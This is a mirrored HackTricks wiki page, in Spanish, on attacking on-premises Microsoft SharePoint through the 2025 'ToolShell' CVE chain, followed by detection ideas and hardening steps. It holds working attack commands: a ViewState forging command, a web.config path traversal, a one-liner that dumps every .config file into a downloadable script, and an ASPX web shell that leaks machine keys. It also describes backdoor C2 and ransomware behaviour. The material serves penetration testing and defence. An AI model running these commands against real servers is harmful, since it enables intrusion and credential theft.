mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
179 lines
9.1 KiB
Markdown
179 lines
9.1 KiB
Markdown
# Microsoft SharePoint – Pentesting & Exploitation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).
|
||
|
||
## 1. Quick enumeration
|
||
```
|
||
# favicon hash and keywords
|
||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||
|
||
# version leakage (often in JS)
|
||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||
|
||
# interesting standard paths
|
||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||
|
||
# enumerate sites & site-collections (requires at least Anonymous)
|
||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||
```
|
||
## 2. 2025 cadena de explotación (a.k.a. “ToolShell”)
|
||
|
||
### 2.1 CVE-2025-49704 – Inyección de Código en ToolPane.aspx
|
||
|
||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que se inyecte código arbitrario de *Server-Side Include* en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta `Process.Start()` y dejar caer un ViewState malicioso.
|
||
|
||
### 2.2 CVE-2025-49706 – Bypass de Autenticación Inadecuado
|
||
|
||
La misma página confía en el encabezado **X-Forms_BaseUrl** para determinar el contexto del sitio. Al apuntarlo a `/_layouts/15/`, se puede eludir la MFA/SSO impuesta en el sitio raíz **sin autenticar**.
|
||
|
||
### 2.3 CVE-2025-53770 – Deserialización de ViewState No Autenticada → RCE
|
||
|
||
Una vez que el atacante controla un gadget en `ToolPane.aspx`, puede publicar un valor `__VIEWSTATE` **no firmado** (o solo con MAC) que activa la deserialización de .NET dentro de *w3wp.exe*, lo que lleva a la ejecución de código.
|
||
|
||
Si la firma está habilitada, roba la **ValidationKey/DecryptionKey** de cualquier `web.config` (ver 2.4) y forja la carga útil con *ysoserial.net* o *ysodom*:
|
||
```
|
||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||
```
|
||
Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee:
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||
{{#endref}}
|
||
|
||
### 2.4 CVE-2025-53771 – Traversal de ruta / Divulgación de web.config
|
||
|
||
Enviar un parámetro `Source` manipulado a `ToolPane.aspx` (por ejemplo, `../../../../web.config`) devuelve el archivo objetivo, permitiendo la filtración de:
|
||
|
||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar ViewState / cookies ASPXAUTH
|
||
* cadenas de conexión y secretos.
|
||
|
||
## 3. Recetas de post-explotación observadas en la naturaleza
|
||
|
||
### 3.1 Exfiltrar cada archivo *.config* (variación-1)
|
||
```
|
||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||
```
|
||
El `debug_dev.js` resultante se puede descargar de forma anónima y contiene **toda** la configuración sensible.
|
||
|
||
### 3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2)
|
||
```
|
||
powershell.exe -EncodedCommand <base64>
|
||
```
|
||
Ejemplo de carga útil decodificada (abreviado):
|
||
```csharp
|
||
<%@ Page Language="C#" %>
|
||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||
<script runat="server">
|
||
protected void Page_Load(object sender, EventArgs e){
|
||
Response.Write(MachineKey.ValidationKey);
|
||
// echo secrets or invoke cmd
|
||
}
|
||
</script>
|
||
```
|
||
Escrito para:
|
||
```
|
||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||
```
|
||
La shell expone puntos finales para **leer / rotar claves de máquina** que permiten forjar cookies ViewState y ASPXAUTH a través de la granja.
|
||
|
||
### 3.3 Variante ofuscada (variación-3)
|
||
|
||
La misma shell pero:
|
||
* colocada en `...\15\TEMPLATE\LAYOUTS\`
|
||
* nombres de variables reducidos a letras individuales
|
||
* `Thread.Sleep(<ms>)` añadido para evasión de sandbox y bypass de AV basado en tiempo.
|
||
|
||
### 3.4 AK47C2 puerta trasera multiprotocolo y ransomware X2ANYLOCK (observado 2025-2026)
|
||
|
||
Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell **después de RCE inicial** para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint:
|
||
|
||
#### AK47C2 – variante `dnsclient`
|
||
|
||
* Servidor DNS codificado: `10.7.66.10` comunicándose con el dominio autoritativo `update.updatemicfosoft.com`.
|
||
* Los mensajes son objetos JSON encriptados con XOR con la clave estática `VHBD@H`, codificados en hex y embebidos como **etiquetas de subdominio**.
|
||
|
||
```json
|
||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||
```
|
||
|
||
* Consultas largas son fragmentadas y prefijadas con `s`, luego reensambladas del lado del servidor.
|
||
* El servidor responde en registros TXT que llevan el mismo esquema XOR/hex:
|
||
|
||
```json
|
||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||
```
|
||
* La versión 202504 introdujo un formato simplificado `<COMMAND>::<SESSION_KEY>` y marcadores de fragmento `1`, `2`, `a`.
|
||
|
||
#### AK47C2 – variante `httpclient`
|
||
|
||
* Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el **cuerpo HTTP POST** a través de `libcurl` (`CURLOPT_POSTFIELDS`, etc.).
|
||
* El mismo flujo de trabajo de tarea/resultado permite:
|
||
* Ejecución arbitraria de comandos de shell.
|
||
* Intervalo de sueño dinámico e instrucciones de kill-switch.
|
||
|
||
#### Ransomware X2ANYLOCK
|
||
|
||
* Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo).
|
||
* Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión `.x2anylock`.
|
||
* Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema.
|
||
* Deja una nota en texto claro `How to decrypt my data.txt` embebiendo un **Tox ID** estático para negociaciones.
|
||
* Contiene un **kill-switch** interno:
|
||
|
||
```c
|
||
if (file_mod_time >= "2026-06-06") exit(0);
|
||
```
|
||
|
||
#### Cadena de side-loading de DLL
|
||
|
||
1. El atacante escribe `dllhijacked.dll`/`My7zdllhijacked.dll` junto a un legítimo `7z.exe`.
|
||
2. `w3wp.exe` generado por SharePoint lanza `7z.exe`, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria.
|
||
3. Se observó un cargador LockBit separado (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) que desencripta el shell-code y realiza **DLL hollowing** en `d3dl1.dll` para ejecutar LockBit 3.0.
|
||
|
||
> [!INFO]
|
||
> El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados.
|
||
|
||
---
|
||
|
||
## 4. Ideas de detección
|
||
|
||
| Telemetría | Por qué es sospechoso |
|
||
|-----------|----------------------|
|
||
| `w3wp.exe → cmd.exe` | El proceso de trabajo rara vez debería generar shell |
|
||
| `cmd.exe → powershell.exe -EncodedCommand` | Patrón clásico de lolbin |
|
||
| Eventos de archivo creando `debug_dev.js` o `spinstall0.aspx` | IOCs directamente de ToolShell |
|
||
| `ProcessCmdLine CONTIENE ToolPane.aspx` (registros ETW/Módulo) | PoCs públicas invocan esta página |
|
||
|
||
Ejemplo de regla XDR / Sysmon (pseudo-XQL):
|
||
```
|
||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||
```
|
||
## 5. Endurecimiento y Mitigación
|
||
|
||
1. **Parchar** – Las actualizaciones de seguridad de julio de 2025 corrigen *todas* las cuatro CVEs.
|
||
2. **Rotar** cada `<machineKey>` y secretos de `ViewState` después de un compromiso.
|
||
3. Eliminar el permiso de escritura de *LAYOUTS* de los grupos `WSS_WPG` y `WSS_ADMIN_WPG`.
|
||
4. Bloquear el acceso externo a `/_layouts/15/ToolPane.aspx` a nivel de proxy/WAF.
|
||
5. Habilitar **ViewStateUserKey**, **MAC habilitado**, y *EventValidation* personalizado.
|
||
|
||
## Trucos relacionados
|
||
|
||
* IIS post-explotación y abuso de web.config:
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||
{{#endref}}
|
||
|
||
## Referencias
|
||
|
||
- [Unit42 – Explotación activa de vulnerabilidades de Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||
- [GitHub PoC – Cadena de explotación ToolShell](https://github.com/real-or-not/ToolShell)
|
||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||
- [Unit42 – Proyecto AK47 / Explotación de SharePoint y actividad de ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|